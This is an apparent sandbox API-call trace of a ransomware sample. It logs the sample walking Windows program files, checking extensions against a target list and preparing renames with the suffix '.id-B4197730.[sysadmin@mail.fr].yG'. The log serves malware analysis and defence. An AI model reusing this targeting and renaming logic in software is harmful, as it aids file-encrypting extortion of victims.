	[0045.606] lstrlenW (lpString=".7z") returned 3
	[0045.606] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString=".dbf") returned 4
	[0045.606] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString=".1cd") returned 4
	[0045.606] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString=".jpg") returned 4
	[0045.607] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.607] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.607] lstrlenW (lpString="delete.avi") returned 10
	[0045.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.961] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=208408) returned 1
	[0045.961] CloseHandle (hObject=0x334) returned 1
	[0045.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0045.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.961] lstrlenW (lpString=".doc") returned 4
	[0045.961] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.961] lstrlenW (lpString=".docx") returned 5
	[0045.961] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0045.961] lstrlenW (lpString=".pdf") returned 4
	[0045.961] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.961] lstrlenW (lpString=".xls") returned 4
	[0045.962] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString=".xlsx") returned 5
	[0045.962] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0045.962] lstrlenW (lpString=".ppt") returned 4
	[0045.962] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.962] lstrlenW (lpString=".zip") returned 4
	[0045.962] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString=".rar") returned 4
	[0045.962] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString=".bz2") returned 4
	[0045.962] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString=".7z") returned 3
	[0045.962] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.962] lstrlenW (lpString=".dbf") returned 4
	[0045.962] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.962] lstrlenW (lpString=".1cd") returned 4
	[0045.962] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.962] lstrlenW (lpString=".jpg") returned 4
	[0045.962] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.962] lstrlenW (lpString=".doc") returned 4
	[0045.962] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString=".docx") returned 5
	[0045.962] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0045.962] lstrlenW (lpString=".pdf") returned 4
	[0045.962] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString=".xls") returned 4
	[0045.962] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.962] lstrlenW (lpString=".xlsx") returned 5
	[0045.962] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0045.962] lstrlenW (lpString=".ppt") returned 4
	[0045.963] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.963] lstrlenW (lpString=".zip") returned 4
	[0045.963] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.963] lstrlenW (lpString=".rar") returned 4
	[0045.963] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.963] lstrlenW (lpString=".bz2") returned 4
	[0045.963] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.963] lstrlenW (lpString=".7z") returned 3
	[0045.963] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.963] lstrlenW (lpString=".dbf") returned 4
	[0045.963] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.963] lstrlenW (lpString=".1cd") returned 4
	[0045.963] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0045.963] lstrlenW (lpString=".jpg") returned 4
	[0045.963] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.963] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.963] lstrlenW (lpString="insertbase.xml") returned 14
	[0045.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.967] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=903) returned 1
	[0045.967] CloseHandle (hObject=0x334) returned 1
	[0045.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20
	[0045.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.967] lstrlenW (lpString=".doc") returned 4
	[0045.967] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.967] lstrlenW (lpString=".docx") returned 5
	[0045.967] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.967] lstrlenW (lpString=".pdf") returned 4
	[0045.967] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.967] lstrlenW (lpString=".xls") returned 4
	[0045.968] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString=".xlsx") returned 5
	[0045.968] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.968] lstrlenW (lpString=".ppt") returned 4
	[0045.968] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.968] lstrlenW (lpString=".zip") returned 4
	[0045.968] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.968] lstrlenW (lpString=".rar") returned 4
	[0045.968] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString=".bz2") returned 4
	[0045.968] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString=".7z") returned 3
	[0045.968] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.968] lstrlenW (lpString=".dbf") returned 4
	[0045.968] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.968] lstrlenW (lpString=".1cd") returned 4
	[0045.968] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.968] lstrlenW (lpString=".jpg") returned 4
	[0045.968] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.968] lstrlenW (lpString=".doc") returned 4
	[0045.968] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString=".docx") returned 5
	[0045.968] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.968] lstrlenW (lpString=".pdf") returned 4
	[0045.968] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString=".xls") returned 4
	[0045.968] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.968] lstrlenW (lpString=".xlsx") returned 5
	[0045.968] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.968] lstrlenW (lpString=".ppt") returned 4
	[0045.969] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.969] lstrlenW (lpString=".zip") returned 4
	[0045.969] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.969] lstrlenW (lpString=".rar") returned 4
	[0045.969] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.969] lstrlenW (lpString=".bz2") returned 4
	[0045.969] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.969] lstrlenW (lpString=".7z") returned 3
	[0045.969] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.969] lstrlenW (lpString=".dbf") returned 4
	[0045.969] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.969] lstrlenW (lpString=".1cd") returned 4
	[0045.969] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0045.969] lstrlenW (lpString=".jpg") returned 4
	[0045.969] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.969] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.969] lstrlenW (lpString="ea.xml") returned 6
	[0045.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.970] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=384) returned 1
	[0045.970] CloseHandle (hObject=0x334) returned 1
	[0045.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20
	[0045.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.970] lstrlenW (lpString=".doc") returned 4
	[0045.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.970] lstrlenW (lpString=".docx") returned 5
	[0045.970] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0045.970] lstrlenW (lpString=".pdf") returned 4
	[0045.970] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.970] lstrlenW (lpString=".xls") returned 4
	[0045.970] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.970] lstrlenW (lpString=".xlsx") returned 5
	[0045.970] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0045.970] lstrlenW (lpString=".ppt") returned 4
	[0045.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.970] lstrlenW (lpString=".zip") returned 4
	[0045.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.970] lstrlenW (lpString=".rar") returned 4
	[0045.971] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString=".bz2") returned 4
	[0045.971] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString=".7z") returned 3
	[0045.971] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.971] lstrlenW (lpString=".dbf") returned 4
	[0045.971] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.971] lstrlenW (lpString=".1cd") returned 4
	[0045.971] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.971] lstrlenW (lpString=".jpg") returned 4
	[0045.971] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.971] lstrlenW (lpString=".doc") returned 4
	[0045.971] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString=".docx") returned 5
	[0045.971] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0045.971] lstrlenW (lpString=".pdf") returned 4
	[0045.971] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString=".xls") returned 4
	[0045.971] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString=".xlsx") returned 5
	[0045.971] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0045.971] lstrlenW (lpString=".ppt") returned 4
	[0045.971] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.971] lstrlenW (lpString=".zip") returned 4
	[0045.971] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.971] lstrlenW (lpString=".rar") returned 4
	[0045.971] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.971] lstrlenW (lpString=".bz2") returned 4
	[0045.972] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.972] lstrlenW (lpString=".7z") returned 3
	[0045.972] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.972] lstrlenW (lpString=".dbf") returned 4
	[0045.972] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.972] lstrlenW (lpString=".1cd") returned 4
	[0045.972] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0045.972] lstrlenW (lpString=".jpg") returned 4
	[0045.972] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.972] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.972] lstrlenW (lpString="keypadbase.xml") returned 14
	[0045.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.972] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=903) returned 1
	[0045.972] CloseHandle (hObject=0x334) returned 1
	[0045.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20
	[0045.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.973] lstrlenW (lpString=".doc") returned 4
	[0045.973] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString=".docx") returned 5
	[0045.973] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.973] lstrlenW (lpString=".pdf") returned 4
	[0045.973] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString=".xls") returned 4
	[0045.973] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString=".xlsx") returned 5
	[0045.973] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.973] lstrlenW (lpString=".ppt") returned 4
	[0045.973] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.973] lstrlenW (lpString=".zip") returned 4
	[0045.973] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.973] lstrlenW (lpString=".rar") returned 4
	[0045.973] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString=".bz2") returned 4
	[0045.973] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString=".7z") returned 3
	[0045.973] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.973] lstrlenW (lpString=".dbf") returned 4
	[0045.973] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.973] lstrlenW (lpString=".1cd") returned 4
	[0045.973] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.973] lstrlenW (lpString=".jpg") returned 4
	[0045.973] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.974] lstrlenW (lpString=".doc") returned 4
	[0045.974] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString=".docx") returned 5
	[0045.974] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.974] lstrlenW (lpString=".pdf") returned 4
	[0045.974] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString=".xls") returned 4
	[0045.974] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString=".xlsx") returned 5
	[0045.974] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.974] lstrlenW (lpString=".ppt") returned 4
	[0045.974] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.974] lstrlenW (lpString=".zip") returned 4
	[0045.974] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.974] lstrlenW (lpString=".rar") returned 4
	[0045.974] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString=".bz2") returned 4
	[0045.974] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString=".7z") returned 3
	[0045.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.974] lstrlenW (lpString=".dbf") returned 4
	[0045.974] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.974] lstrlenW (lpString=".1cd") returned 4
	[0045.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0045.974] lstrlenW (lpString=".jpg") returned 4
	[0045.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.975] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.975] lstrlenW (lpString="kor-kor.xml") returned 11
	[0045.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.983] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=392) returned 1
	[0045.983] CloseHandle (hObject=0x334) returned 1
	[0045.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20
